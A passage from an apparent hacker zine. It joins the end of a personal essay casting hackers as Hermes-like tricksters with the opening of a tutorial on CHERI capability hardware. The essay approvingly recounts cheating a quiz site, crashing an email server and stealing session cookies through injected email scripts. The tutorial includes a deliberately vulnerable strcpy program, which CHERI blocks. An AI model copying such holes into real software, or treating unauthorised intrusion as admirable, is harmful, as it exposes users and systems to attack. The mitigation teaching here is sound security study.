Zeus. Rather than punishment, Zeus orders Hermes to make amends with his brother and show him where the cattle are hidden, revealing his tricks. On their way to the hiding spot, Hermes begins to play the lyre (which he also invented using the shell of a tortoise he killed while on the way to steal the cattle), and Apollo becomes enchanted by its sound, never hearing music before. When they finally reach the missing cattle, Hermes gives the lyre to Apollo as a gift. In return, Apollo gives the cattle to Hermes and a whip to symbolize his now legitimate ownership of them, and the two become friends from that point forward. Hermes is a god of paradoxes, for he is a paradox as well. How is it that Hermes could be the illegitimate son of Zeus, the king of the gods? How could the most legitimate of all the gods produce anything illegitimate? Just by existing, Hermes is a challenge to the order of Olympus, causing trouble on his first day being born. So he lies by saying, "I am just a little baby," but it is a lie that forces others to acknowledge the truth that he is more than just a little baby. He begins to unwind his own paradox. He lures others into engaging with it. If he was just a baby, then he could not have stolen those cattle. If he was something more, then they must admit that he should be elevated, deserving of praise instead of shame. Somehow, through initially stealing those fifty head of cattle, Hermes became recognized as being their rightful owner. Coincidentally, he also ended up on Olympus in the presence of his now delighted father, a place he was never meant to be. An illegitimate act set into motion the process of being recognized as legitimate. Things worked out for Hermes, but one does not always receive honors, even if the things of gods are successfully stolen. Sometimes, the gods are not amused. Sometimes, you are thrown into Tartarus. --> 03: Tartarus From My First Major Hack When I was fifteen, I learned through my biology teacher about a website that offered weekly prizes of up to $500 in gift certificates for winning trivia quizzes. After about two hours of repetition for each quiz, I became fast enough to win by recognizing the questions and their answers by the shape of the text and the first few words. The purpose of the website was to promote learning, but the quizzes ended up becoming just a reflex test. I had to answer each question in a second or two, far below the amount of time to even fully read the question. Regardless, I was able to win through the intended means. I could do what I was supposed to do. However, it wasn't sustainable because my vision would go blurry after a few hours of intently staring at my CRT screen flickering at 60 Hz. There had to be a better way that didn't end with me going blind. As I was lying in bed one evening, a thought came to me: Maybe I could modify the cache file that contained the answers by overwriting the individual characters within the file without changing the overall size of the file. I regularly went through the Temporary Internet Files folder that held the cache for Internet Explorer, so I already discovered the file that contained the answers. Still, I was never able to successfully run modified cache files before. I wondered if there might be some internal validation that checked if the file was the same size as when it was initially downloaded before it ran in Offline Mode to ensure the file had not been corrupted. So, I got out of bed to give it a try, and this time it finally worked! I now had the ability to change websites (at least how they interacted with me) in any way I saw fit, giving me something I was never meant to have. I would clear my cache, run the quiz once online to download the necessary files, switch to Offline Mode, modify the cache file so that the answers would always show up in the same location instead of a randomized one, retake the quiz, and click on "Yes" when my browser would ask if I wanted to leave Offline Mode when it tried to submit my scores back to the server. This technique worked perfectly, except when I would replace a character with a line return, so I just avoided using them when I modified my files. I would use the same technique later on to spoof file requests to sites that blocked ones from outside of the domain (especially useful for downloading multipart RAR files when paired with a download manager). I found that I could reorder things meant to be difficult to be easier for me so that I no longer needed to sacrifice myself in the process to get them. There was a leaderboard on the site, so I saw that there was one other student who figured out the same trick as me because we were far faster than anyone else. Curiously, my first major hack was the only time I spotted another hacker in the wild. The moment I found myself, I also found another like me, and it was the two of us competing against each other. The rest of the world just fell away. We formed a new game while everyone else blissfully imagined that they were still participating in something that no longer existed. Unfortunately, my downfall began the moment the gift certificates began to arrive. It was real, and I couldn't contain my excitement. I imagine that it was the same feeling as when a child first discovers that he can count to 100, overflowing with pride. I had this new ability that brought tangible rewards, and I began to share the news with my family. However, the response was not what I expected it to be. Instead of being met with amazement and congratulations, I was met with disappointment. I was told that what I was doing was wrong and that I should stop immediately. So, I quit and hid my newly discovered talent in shame. I suppose that such an experience is just a rite of passage for the hacker, but I had no one to acknowledge the virtue of such actions. I was not recognized, so I became invisible. I was thrown into Tartarus. --> 04: Olympus - Finally Being Seen In my sophomore year in college, I got a job as a software quality tester for a startup after hearing about an opening from a friend who also recently got a job there. I thought it would be exciting to be a part of the Web 2.0 boom, but the job ended up being pretty boring. The entire role was to follow a premade checklist and ensure that everything was functioning as documented. The icon is blue. Check. The icon turns green when clicked. Check. I thought my technical skills would be useful, but this role required no skill at all. This job was monotonous, and I quickly began suffering from the lack of stimulus. Boredom is a very real form of suffering. I desperately needed something to happen, some randomness, so I began looking for something to break under the guise of "quality assurance." Soon, I found something. I would make something happen. As was common at that time, the front page of the site said that it was in beta and had a contact form to join the list for the test release. I wondered if the form sent an email or if the submissions were stored in a database. What would happen if I sent a flood of requests? Something would happen, and I would gain some new knowledge of what was going on in the backend. The anticipation of discovery through a bit of mischief was the breath of fresh air I needed. Maybe I would get fired, but this role was already dead to me, so it was worth the risk. On the Friday before I left work, I placed a stapler on my enter key to continually resubmit the form over the weekend and turned off my monitor. When I got back on Monday, my boss learned what I had done and pulled me aside. He told me that I had overloaded the email server to the point where it started smoking (I'm not sure if that was literal or not). So, I now knew that the form did send out emails, which did indeed mean it was more vulnerable to attacks like the one I just pulled off with a common office stapler. Strangely, I didn't get fired or even reprimanded. Instead, my boss started to tell me about how he used to frequent the old BBSs when he was younger. He was once a hacker from a bygone era and was trying to tell me that he saw me for who I truly was: a hacker like him. I was seen, but it was not with the usual malice I encountered in school when I was younger. I was seen for the qualities that my boss cherished about his younger self and maybe even for ones that he felt were lost somewhere along the way. That recognition was transformative in many ways. Instead of punishment for my actions, my boss gave me a raise and a new title of "software security tester." My role within the system was made anew into something that conformed to who I was instead of being made to conform to something I wasn't. I was allowed to be myself because I was finally seen for who I was, and it was seen as good instead of bad. Most importantly, I was granted the official freedom to create and run my own tests, as opposed to the liberty that I took for myself. Like Hermes, the thing that I stole somehow became legitimately recognized as mine. A job that was inherently lacking creativity was transformed into one of the most creative periods of my life. It was at this job where I used a Base64 encoder/decoder I created in JavaScript to get into other accounts by changing the binary in two locations of the cookie. After the developers updated to use sessions, I worked my way up to creating a special email that sent me the session information when users opened it. The web app didn't strip out embedded scripts, so I was able to hijack its functionality to access the cookie and send it to me in an email. My time there became a game of cat and mouse with the architects, transcending the original purpose of simply testing the software. Still, the unintended byproduct of that game was better software. Things could have gone drastically different for me, and they did for my friend who introduced me to the company. Frustrated with the tedium of the job, my friend also destroyed some equipment by ripping out keys from his keyboard one day. I was promoted when I destroyed a server, but my friend ended up getting fired when he destroyed his keyboard. Two seemingly similar actions stemming from the same place of discontentment but yielding two completely different outcomes. It's like the story of Cain and Abel, where both brothers offer up a sacrifice. One is looked upon favorably by God, while the other is not, and it's not entirely clear why. If anything, I should have been punished more severely for my more severe transgression, but I was elevated to be something I wasn't before. --> 05: The Uncertain Fate of the Trickster Trickster mythology speaks to the question of how one born into the world marked as illegitimate, cut off from the good things of society, becomes legitimate. The answer is that he tricks his way in. He does something that he was not supposed to do, so he ends up passing through where he was meant to be excluded. Sometimes, he succeeds. Sometimes, he doesn't. Yet, he is a trickster because he does what he ought not to do. Often, that trick is exclusively for his own amusement, seemingly without forethought of the potential consequences of his actions. He pushes buttons just to see what will happen. Strangely, that impulsiveness will just as often result in a gift to the world by stumbling across new wonders never before seen, driving the culture forward. The hacker is the modern incarnation of the trickster, finding ways to pass through boundaries; some meant to keep him in, some meant to keep him out, and some not meant for him at all. He does not necessarily break the rules; he just doesn't do what is expected. The hacker is considered a trickster because he then finds ways to trick the various systems of this world into doing the unexpected as well. Even the machine, a symbol of utmost reliability, can be made to do something unintended. Yet, the machine does not just arbitrarily decide to rebel. The machine yields to the calls of the hacker because the hacker is firstly the one who sees something overlooked in the machine. There is hope in that moment. There is potential. The machine is first seen for what it could be, then it becomes...something new. Just as the machine receives a call for disobedience, so does the hacker: a call to the wild, a call to adventure. One mirrors the other. The hacker yields to that call because it also resonates on a deeper level than the standard protocols telling him how to operate. The seeming impulsivity of the trickster may just be giving over to that call, contrary to all the voices telling him otherwise. Much like the machine, obedience to that call transforms the person in the process, enabling him to do something he was not meant to do by getting the machine to do something it was not meant to do. Both are corrupted, but both are transformed. The hacker is simultaneously a corruptor and a liberator because he lingers in the liminality between worlds, capable of falling into several different fates. As a trickster, Hermes' fate also dangled between being thrown into the abyss or being accepted into the pantheon, and the seemingly arbitrary factor that made the difference was that Zeus was amused by Hermes' antics. I have known both the shame of being thrown into Tartarus and the elation of being raised to Olympus. I have experienced two entirely different fates in response to expressing myself through two hacks with the difference being that I found one who was amused with my antics, lifting me out of my shame and elevating me to be something more. Sometimes, we are honored. Sometimes, we are not. True validation is from the phenomena we produce when the system recognizes us through obedience to our instructions. Regardless of the often arbitrary response of society, you can be confident that even in small acts of defiance, you are reenacting the mythology of the trickster that makes this world. You are a hacker. "Here you will live a life of danger. Creativity. Perhaps not a respected life, but certainly an interesting one." - Joseph Campbell --> 06: Acknowledgements I want to thank Brian Takle, who first introduced me to the concept of the hacker as a trickster through his essays on The Matrix series. Many of his ideas have been floating in the back of my mind for the past 20 years, helping me to link the phenomenological to the mythological. |=-----------------------------------------------------------------------=| |=--------------=[ 4 - A Hacker's Introduction to CHERI ]=---------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ xcellerator ]=----------------------------=| |=-----------------------------------------------------------------------=| ## Introduction For many years, there have been attempts to address the issue of "weird machines" in the context of exploitation at "the source". People have always disagreed on what "the source" of the problem is, and therefore have approached the issue from various angles. For this reason, we have ended up with a great many solutions that all work in different ways and with different levels of efficacy. One of the newer and more unusual approaches has been coming out of Cambridge University in the UK for a few years now, and is named CHERI. The acronym itself stands for "Capability Hardware Enhanced RISC Instructions", which doesn't do a whole lot to explain *what* CHERI actually is or how it could affect binary exploitation. The goal of this article is to introduce CHERI from a hacker's perspective by trying to understand why it exists in the first place, and how it can (or perhaps will?) affect binary exploitation in the future. Coming from academia, the CHERI project naturally uses a lot of academic language that is sometimes tricky to parse or equate to things that the modern day hacker is more familiar with. Hopefully by the end of this article, you'll be able to do your own research on CHERI and even experiment with compiling and executing CHERI code, all the while relating what you're reading to existing concepts that you're likely already comfortable with. A good thing to address from the outset is "why should you care?". We're certainly used to thinking about computers at very low levels as exploit developers, and even digging into clever hardware features like MTE or CET. However, the central feature that this article is going to spend its time on, the "capability", isn't even available in any commercial hardware yet, and certainly isn't likely to pop up in your average xdev's path on their way to root in the immediate future. And yet, I'm telling you that you *should* care about capability computing, and not just because its cool. Even if tomorrow we all decided that the only code anyone would write has to be memory-safe, it still wouldn't address the hundreds of billions of lines of code out there that isn't (and that's probably a low-ball estimate). If anything is going to save us, the solution is going to have to work *with* all that code and not just require rewriting it all. CHERI is the closest thing I've seen to addressing this problem. If all of that doesn't convince you to read on, then maybe consider the challenge of trying to overcome yet another clever mitigation. To begin with, let's think about the problem that CHERI is trying to solve. "Exploitation" is too broad a term, and academics like to be specific with the problems that they fixate on. When you think about it - "weird machines" in the sense of modern binary exploitation, are a kind of miracle. If we reflect back on Turing's vision of a machine that processes an infinite tape using a set of fixed instructions, there's a hard distinction between the concept of "data" and "instructions" - the data being the tape, and the instructions (or "code") being integral to the machine. However, it wasn't long before Turing proposed the idea of the "universal Turing machine" which could effectively be "programmed" by the tape - in effect incorporating new instructions from the data that were a part of the machine's input. With this stroke, the lines between code and data were blurred - and we're still paying for it all these years later. There were attempts to make the situation more rigorous, and we ended up with the notions of "von Neumann" and "Harvard" architectures; the former being what most of us are used to in our day-to-day lives where code and data all live in the same memory, as opposed to the latter where code and data are fundamentally different and don't as easily intermingle. If you are writing a binary exploit for *almost* any target today then you're most likely, either directly or indirectly, dealing with *pointers*. This may seem like a rather obvious thing to point out (pun intended), but its crucial to the motivation for CHERI. If we're not leaking pointers to bypass ASLR, we might be overflowing an index that will be added to one to achieve an out-of-bounds read/write, or maybe we're even bringing our own pointers to the table as part of the exploit. What if we could re-design the architecture that our ISAs are built upon to firm up the notion of a pointer into something more concrete, or (dare we say) *safer*? Can we do pointers, but better? The major upside of moving protections from the language and into the ISA is that we can continue to use our existing C/C++ codebases without having to rewrite 40+ years of software in a memory-safe language. One thing that might come to mind is that we could demand that a pointer only being valid within a certain bound. Imagine if, encoded into the pointer itself, was a range for which that pointer could be used. If we could do that, could we also tack on some permissions bits? "This pointer can be used to read/write data from 0x80000000 to 0x80001000, but not to fetch instructions". Fundamentally, this is what the CHERI project refers to as a "capability" and is responsible for the "C" in the acronym. All the security guarantees espoused by the project centre around capabilities and how their use is enforced and abuse is prevented. The idea of the capability is actually a fairly old one in the history of computing. As far back as 1978, IBM had the System/38 minicomputer which supported a kind of capability addressing termed "authorized pointers". These pointers could only be created by privileged instructions and encoded their permissions into themselves. Unfortunately, there wasn't a way to modify these objects once they were created which led to some unfortunate issues where permissions couldn't be revoked once given. The System/38 was retired in 1988. Despite this, and a few other attempts over the years, capabilities haven't really taken off. The difference with CHERI is that instead of creating a bespoke new architecture, the team at Cambridge is attempting to "enhance" existing ISAs with capability addressing. At this point, you may well be thinking that turning pointers into pointer/ metadata hybrids isn't that much of a big deal if you can still "bring your own pointers" to an exploit. Surely you could just overwrite some capability in memory with a capability of your own that says "This pointer can be used to read/write/fetch to and from anywhere"? In order for this idea to have any legs, we need to also prevent capabilities from being forged. To explain this further, lets solidify our notion of capabilities a bit so that we know what it is that we're trying to prevent from being forged or manipulated. Let's assume we have a 64-bit system, say Aarch64. All our registers (where pointers must go to be dereferenced) are 64-bits wide, so we'll need to widen them a bit to support the extra metadata that we want to cram in. CHERI does this by simply doubling the register width so now our registers are 128-bits instead. Note that the ALU is untouched, so you don't get 128-bit integers and can't do 128-bit logical or arithmetical operations natively with this change. We can make our lives a little easier by also demanding that every capability is 128-bit aligned in memory. This is important because it means that *every contiguous 128-bit region of memory could be a capability*. Then again, it might not be so we need to devise a way to keep track of which of these regions are capabilities and which aren't. The simplest (for some definition of "simple") solution is to offload this responsibility to the memory controller. We make the demand that the memory controller maintain a state which governs where all the valid capabilities currently are in memory. When the CPU reads from memory into a register, it will also be told whether that read was a capability or not. If an attempt is made to dereference a value stored in a register, and this "tag" bit isn't set, then the CPU will trigger an exception. Also - and this is very important - whenever a write to memory is performed, the memory controller *must* clear the associated tag bit for that region, unless the CPU explicitly asks the memory controller to set the tag bit again afterwards, for instance when a legitimate capability is created. This means that any attempt to modify a capability in memory will clear the tag bit so that a CPU exception will trigger if the program tries to later dereference that capability. Woah, woah, woah slow down. There's a lot to unpack here and several questions should hopefully be raised in your head. First of all, how on Earth is the CPU supposed to tell the memory controller what is a legitimate capability modification? There are plenty of programs that will perform pointer arithmetic, and wasn't the whole point of this thought exercise to devise a way to limit the viability of exploitation without having to rewrite 50+ years of software? And while we're at it, where are these tag bits supposed to be kept anyway? The answer to the first of these questions is *reasonably* straightforward, and the clue is once again in the CHERI acronym: Capability Hardware Enhanced RISC-V *Instructions*. The instruction set itself for our target ISAs are augmented to support all these CHERI protections that we've been discussing. This is a crucial point - you may not have to rewrite your software to support CHERI, but you will need to recompile it with a CHERI- aware compiler. The various CHERI specifications allow for a CHERI-aware CPU to have it's CHERI protections switched on-and-off, meaning that you can run "legacy" (read: "non-CHERI") code alongside CHERI instructions. This means that you could have a CHERI-hardened kernel alongside some core system utilities, but still run programs that use the standard ISA (or even vice-versa: a legacy kernel but have userland applications make use of CHERI). We'll come back to these instructions and how they work a little later. As far as the second question goes, there are a couple of options we could take. The simplest (there goes that word again) is to let the memory controller use something it's already got lots of: memory. A small pocket of memory can be reserved that isn't addressable at all (and therefore completely invisible to any code running on the CPU) which can be used to store a single bit for every 128-bit region of memory. If the bit is set, then the corresponding region contains a capability, and if the bit is cleared, then the memory just contains data. While fairly straightforward, this approach can create issues with memory latency due to the controller having to check the tag bits (which necessarily live in different DRAM rows) for *every* access. Therefore another proposed solution is to make use of the additional bits present in ECC RAM. The precise method employed to store the tag bits doesn't matter a whole lot to the would-be CHERI exploit-writer, we just have to keep in mind that we are in all likelihood unable to touch those bits. So, let's take a bit of a review because we've covered a lot of ground already. Under CHERI, pointers have been replaced by capabilities and the memory controller is doing a lot of extra work to keep track of where capabilities are in RAM, as well as turning capabilities into regular ol' data as soon as they're modified in any unsanctioned or unexpected way. And to top it all off, we've got some extra instructions to play with to support all of this. Don't forget that registers are also now twice as wide as they used to be. What do we even call this model of computing? It's not quite von Neumann because code and data aren't completely interchangeable anymore (pointers aren't really code, but they're also not really data either anymore). It's also not quite Harvard either because code and data still live together side-by-side. We're somewhere in the middle. Personally I feel like we're still closest in spirit to von Neumann computing, but there's definitely a few shades of grey now. Congratulations - there's the theory out of the way. Let's get down to some solid examples of how CHERI works and how it could make our lives harder as exploit-writers. ## Building and running CheriBSD for Morello One of the early specifications of CHERI for an ISA was for Aarch64, which has been dubbed by Arm as "Morello" [1,2]. Physical hardware apparently does exist, but it's in a developmental stage and seemingly very difficult to get your hands on. The CHERI team in Cambridge have produced a modified version of QEMU to support all the CHERI functionality, as well as a fork of LLVM that can emit CHERI instructions. They've also bundled all of this up into a git repo that lets you easily build everything you need to get a "CheriBSD" VM running. When building all of this, we have two options to choose from: whether to allow legacy non-CHERI instructions into the mix, called "hybrid" mode, or to only allow CHERI instructions to be executed in our VM, which is referred to as "purecap" mode (short for "pure- capability"). Seeing as this is an article all about CHERI and how it could affect the writers of binary exploits, let's stick with purecap mode to make sure we're getting the full effect. This means that the CheriBSD kernel and userland will be built with CHERI Aarch64 instructions. To start with, head over to the CHERIBuild GitHub repo [3], install any of the OS-specific dependencies you need and clone the repo somewhere. There are a few things that we need to build, so it might take a while. To get started, run the following (in order): ``` ./cheribuild.py qemu --include-dependencies ./cheribuild.py cheribsd-morello-purecap --include-dependencies ./cheribuild.py gdb-morello-hybrid-for-purecap-rootfs \ --include-dependencies ./cheribuild.py disk-image-morello-purecap --include-dependencies ``` Now we have a bootable disk image for CheriBSD that includes gdb. If you have any SSH public keys in your `~/.ssh`, when `cheribuild.py` creates the disk image, it should prompt you if you want to automatically copy them into `authorized_keys` in the CheriBSD image. This is a good idea because it means we'll be able to SSH into the Cheri VM, which will give us a nicer environment than the QEMU console, as well as letting us use SCP to copy our cross-compiled executables over. Finally, at long last we can boot CheriBSD under QEMU: ``` ./cheribuild.py run-morello-purecap ``` It will take a little while to boot, but once we're in (username "root",no password), we can see that for the most part it looks and feels exactly like regular FreeBSD. Here are a few things to note: * If you want to shutdown the VM, the keyboard shortcut to kill a QEMU console session is `Ctrl+a; x`. * CheriBSD should have automatically spawned an SSH server for us which QEMU should have port forwarded to 10005 for us. If you copied your keys into the CheriBSD rootfs during the `disk-image-morello-purecap` step, you should be able to just `ssh -p 10005 root@localhost` from your host. ## Compiling programs for CheriBSD Let's set ourselves up so that we can easily compile simple programs to start probing how CHERI works. The current CHERI buildsystem is a bit convoluted (e.g. going through `cheribuild.py`) but we're only going to write a few short C programs that don't need all the heavy lifting that provides. If you *do* want to explore more complex programs, then I suggest you dive into how `cheribuild.py` works, but that's beyond the scope of this article. It's worth pointing out that several open source projects can already be built such as FFmpeg, Nginx, or even the Plasma desktop with Wayland. After running all the commands above, you'll have a `~/cheri` directory with all the artifacts of the build. Staying in the `cheribuild` directory, we'll create a folder called `vuln` where we'll store our intentionally vulnerable programs. We'll *also* create a `vuln` folder in the CheriBSD VM to keep things tidy. Create a bash script called `build.sh` in your *HOST'S* `vuln` folder (i.e. under `cheribuild/`) with the following contents: ``` #!/bin/sh if [ "$#" -ne 2 ]; then echo "Usage: $0 input.c output" exit 1; fi ~/cheri/output/morello-sdk/bin/clang \ -target aarch64-unknown-freebsd13 \ --sysroot=$HOME/cheri/output/rootfs-morello-purecap \ -B $HOME/cheri/output/morello-sdk/bin \ -mcpu=rainier \ -march=morello \ -mapi=purecap \ -Xclang -morello-vararg=new \ -Xclang -morello-bounded-memargs \ -Wall \ -Wcheri \ -g \ -fuse-ld=lld \ -o $2 \ $1 && scp -P 10005 $2 root@localhost:vuln/$2 ``` Now we can write C programs on our host system and compile/upload them with `./build.sh input.c output`! Let's crack on and explore CHERI... ## Capability Encoding At this point, for our own understanding we should probably take a quick look at what is contained in these extra bits of CHERI registers. The precise encoding format for each CHERI-supported architecture varies a little, but largely includes the same information. Note that whenever we need to dissect a capability for its metadata, it's MUCH easier to just rely on either GDB or the handy `%#p` format-specifier (more on that shortly) to format it for us. But we're exploit developers, so we should still have a solid understanding of how things work even if we'll end up making the computer do the hard work for us. For Morello, a capability register is defined as [3; Section 2.5]: <- Bit 128 Bit 0 -> +-+--------+--------+----------------+-----+------------------------------+ |T| Permi- | Object | Bounds |Flags| Bounds | | | ssions | Type | (Upper) | | (Lower) | +-+--------+--------+----------------+-----+------------------------------+ |T| Permi- | Object | Bounds |Flags| Value | | | ssions | Type | (Upper) | | | +-+--------+--------+----------------+-----+------------------------------+ * First comes the `T` bit which is the "tag bit" that we were talking about earlier. This is the bit that indicates whether value in the register is a valid capability or not. The architecture specifies that this bit isn't actually loadable in the normal sense (being bit 128, it's really the 129th bit yet we can only load 128-bits into a register), but instead comes from the corresponding tag bit that the memory controller is responsible for providing during loads/stores. This bit CAN be set by the CPU using special instructions, for example when a new capability is being created intentionally. * Next up are the "Permissions" bits, of which there are 18 defined. The format is as follows: +-----+------------------+------------------------------------------------+ | Bit | Permission | Meaning | +-----+------------------+------------------------------------------------+ | 17 | Load | Can load bytes from memory | | 16 | Store | Can store bytes into memory | | 15 | Execute | Can fetch instructions from memory | | 14 | LoadCap | Can load a capability to a register | | 13 | StoreCap | Can store a capability from a register | | 12 | StoreLocalCap | Can store a "local" (see "Global" below) | | | | capability from a register | | 11 | Seal | Can "seal" an unsealed capability | | 10 | Unseal | Can "unseal" a sealed capability | | 9 | System | Can access system registers | | 8 | BranchSealedPair | Can be used by a "branch sealed pair" | | | | instruction | | 7 | CompartmentID | Indicates that this capability is a | | | | "compartment" ID | | 6 | MutableLoad | Loading a capability using a capability without| | | | this bit will clear the Store* and MutableLoad | | | | permissions | | 5-2 | User[3:0] | Software-defined | | 1 | Executive | Indicates an instruction fetch executes in | | | | executive vs restrictive mode (visibility of | | | | global registers) | | 0 | Global | Indicates whether this capability is local/ | | | | global | +-----+------------------+------------------------------------------------+ There are a couple of terms in the above table that we haven't covered yet (and some we won't cover). Don't worry too much for now, if we don't cover it in this article, by the time you reach the end, you'll be able to go and research into them further. * Following the permissions is the "ObjectType" (15 bits) which indicates whether and how a capability is "sealed". A sealed capability is one that is valid (i.e. it is recognised as a capability), but is not allowed to be used (apart from being unsealed). This is useful, for example, when passing capabilities between different contexts or threads. The use of sealed capabilities is important in "CHERI compartmentalisation". Associating an ObjectType with a sealed capability allows for finer granularity in identifying sealed capabilities with "types". * The encoding of the "Bounds" field is pretty complex. If you want to read up on it yourself, you can [3; Section 2.5.1], but for the purposes of this article, suffice to say that the bounds field potentially takes up 87 bits and overlaps with the value and flags fields. Determining the bounds of a capability depends on the context. * The "Flags" field is just 8 bits and is up to the user to device if and how to use. There are CHERI instructions like `BICFLG` for Aarch64 (bit- wise clear immediate on flags) for operating directly on this field without clearing the tag bit. * Lastly, the "Value" field comprises the lower 64 bits of the capability. As the name indicates, this is the actual value that we think of numerically being stored in the register. It could be an integer (in the case where we have data rather than a capability) or a memory address (in the event where we DO have a capability). This all may seem like a lot but, as you'll see in our examples, we really don't need to spend any time decoding capabilities manually, and any information that we *do* need is very easy to extract. ## Vulnerable Programs ### A Simple Stack Buffer Overflow Let's start by trying to exploit the canonical stack buffer overflow, we'll call it `stack.c`: ``` #include <stdio.h> #include <string.h> void __attribute__((noinline)) overflow(char* src) { char buffer[16]; printf("buffer @ %#p\n", (char*)&buffer); strcpy(buffer, src); } int main(int argc, char** argv) { if (argc >= 2) { printf("Calling overflow()\n"); overflow(argv[1]); printf("Returned from overflow()\n"); } return 0; } ``` Two things to notice briefly: * We use the `noinline` attribute on `overflow()` to prevent Clang from optimising out the function call. * When we print `&buffer` (which is a CAPABILITY), we use the `%#p` format specifier. This is specific to the CHERI SDK and will print the metadata about the capability in a pretty way. We can compile and upload this with: `./build.sh stack.c stack`. Over in the VM, we should now have a `~/vuln/stack` binary waiting for us. The program itself should be fairly obvious - passing an argument of more than 16 bytes will overflow the `buffer` array in the `overflow()` function... *or will it?*. Let's run it and see what happens! ``` root@cheribsd-morello-purecap:~/vuln # ./stack 01234 Calling overflow() buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0-0xfffffff7ff00] Returned from overflow() ``` Let's dissect this as it's our first actual capability: ``` buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0-0xfffffff7ff00] | | | | | +---------> The range that the capability is | | valid for. | | | +--------------> The permissions: lower-case are | for data, upper-case for | capabilities. | +------------------------------> The "pointer"-component. ``` So, we can see that `&buffer` is bounded to only be able to access bytes in the range `0xfffffff7fef0-0xfffffff7ff00`, which matches the size of the `buffer` array in our program: 16 bytes. Furthermore, this capability can be used to read and write both data and capabilities from this range, but notably it *cannot fetch instructions*. Let's see what happens if we try to run the program again, but supply it enough bytes to overflow `buffer`: ``` root@cheribsd-morello-purecap:~/vuln # ./stack 0123456789abcdef Calling overflow() buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0-0xfffffff7ff00] In-address space security exception (core dumped) ``` Hmm, okay - we crashed. Not entirely unexpected, but let's find out why. Fortunately we built GDB for CheriBSD so we can take a look at the coredump that got generated. ``` root@cheribsd-morello-purecap:~/vuln # gdb -q ./stack stack.core Reading symbols from ./stack... [New LWP 100085] Core was generated by `./stack 0123456789abcdef'. Program terminated with signal SIGPROT, CHERI protection violation. Capability bounds fault. #0 0x000000004037c7f8 in strcpy (to=0xfffffff7ff00 [rwRW,0xfffffff7fef0- 0xfffffff7ff00] "\210\375\367\277\377\377", from=<optimized out>) at /home/user/cheri/cheribsd/lib/libc/string/strcpy.c:48 ``` As we may have guessed, our call to `strcpy()` triggered a CHERI exception, and that's why the kernel killed our process. We can disassemble the `overflow` function in GDB to get a closer look at the CHERI-augmented Aarch64 instructions. However, it's probably easier for us to do this analysis outside of CheriBSD. Fortunately, when we built the Morello SDK, a version of binutils was compiled with Aarch64 CHERI support which lives in `~/cheri/output/morello-sdk/bin/`. If you prefer to disassemble your compiled binaries outside of the VM, then `objdump` in this directory will work as expected. Alternatively, you can just `disas overflow` in GDB if you prefer. ``` 00000000000108e0 <overflow>: 108e0: 028183ff sub csp, csp, #96 108e4: 42827bfd stp c29, c30, [csp, #64] 108e8: 020103fd add c29, csp, #64 108ec: 020083e1 add c1, csp, #32 108f0: c2c83821 scbnds c1, c1, #16 // =16 108f4: c20007e1 str c1, [csp, #16] 108f8: a21f03a0 stur c0, [c29, #-16] 108fc: c2c1d3e0 mov c0, csp 10900: c2000001 str c1, [c0, #0] 10904: c2c83809 scbnds c9, c0, #16 // =16 10908: 90800080 adrp c0, 0x20000 <main+0x18> 1090c: c2428400 ldr c0, [c0, #2576] 10910: 94000034 bl 0x109e0 <printf@plt> 10914: c24007e0 ldr c0, [csp, #16] 10918: a25f03a1 ldur c1, [c29, #-16] 1091c: 94000035 bl 0x109f0 <strcpy@plt> 10920: 42c27bfd ldp c29, c30, [csp, #64] 10924: 020183ff add csp, csp, #96 10928: c2c253c0 ret c30 1092c: d503201f nop ``` Now, even if your somewhat familiar with Aarch64 assembly, this probably looks quite strange to you. Not to worry - this really is Aarch64 assembly, but just has a few extras added on. Seeing as this is our first crash in CHERI code, let's walk through what's going on. The first four instructions in the prologue to `overflow()` at first appear to be pretty familiar; namely `sub`, `stp` and two `add`s. However, upon closer inspection we see that the registers in these instructions aren't the familiar Aarch64 ones. Instead, they've been replaced by `c`-variants, which are the CHERI-ised double-width versions that we've already talked about. As you might expect, `csp` is the "CHERI stack pointer" and `c1`, `c29`, `c30`, etc are just CHERI versions of `x1`, `x29`, `x30`, and so on. The CHERI forms of most of the usual Aarch64 instructions continue to behave in the natural way: `add c29, csp, #64` will add the immediate `64` to `csp` and store the result in `c29`. Remember that the ALU still only works with 64-bit integers, so the capability metadata part of the registers isn't included in the addition. However, the CPU will automatically preserve the tag bit when necessary (for example when a program intentionally performs pointer arithmetic on a capability). This is an important point to keep in mind - manipulation of capabilities that are already in registers *doesn't clear the tag bit*. Then, at `0x108f0` we encounter our first truly CHERI-unique instruction: `scbnds c1, c1, #16`. The SCBNDS mnemonic is short for "Set CHERI Bounds" and with that knowledge you can maybe guess that this instruction sets the capability bounds on register `c1` (which is computed as a 32-byte offset from the stack pointer `csp` in the instruction just prior) to the immediate `16`. In the context of our program, that makes perfect sense: in `overflow()` we declared an array of `char`s called `buffer` on the stack to be exactly `16` bytes in size. All in all, the `buffer` capability ends up being stored in register `c1` after the instruction at `0x108f0` executes. And with that, the rest of the disassembly of `overflow()` should largely make more sense now! Just remember that for most instructions, there's nothing particularly strange about the `c`-registers as the only thing that matters is the "value" field. We only need to really consider the capability nature of the values stored in registers when doing memory operations. Taking a closer look at the crashed `stack` program in GDB we can better understand what goes wrong: ``` root@cheribsd-morello-purecap:~/vuln # gdb -q ./stack --args stack \ 0123456789abcdef Reading symbols from stack... (gdb) r Starting program: /root/vuln/stack 0123456789abcdef Calling overflow() buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0-0xfffffff7ff00] Program received signal SIGPROT, CHERI protection violation. Capability bounds fault. 0x000000004037c7f8 in strcpy (to=0xfffffff7ff00 [rwRW,0xfffffff7fef0- 0xfffffff7ff00] "q\375\367\277\377\377", from=<optimized out>) at /home/user/cheri/cheribsd/lib/libc/string/strcpy.c:48 (gdb) x/i $pcc => 0x4037c7f8 <strcpy+24>: strb w8, [c2], #1 (gdb) i r w8 c2 w8 0x0 0 c2 0xdc5d40007f00fef00000fffffff7ff00 0xfffffff7ff00 [rwRW, 0xfffffff7fef0-0xfffffff7ff00] ``` We already knew to expect a crash in `strcpy()`, but looking at the exact instruction that caused the CHERI fault we see that it's a store of the byte `0x00` (the NULL byte at the end of the 16 character string we passed as the program argument) to the capability in `c2`. Examining that capability (which GDB helpfully expands for us) we see that the VALUE is `0xfffffff7ff00`, but the BOUNDS are `0xfffffff7fef0-0xfffffff7ff00`, i.e. we're trying to store a byte at the memory location that is just beyond the range that our capability permits us to access! ### Capability Overwrites We can perhaps be a little 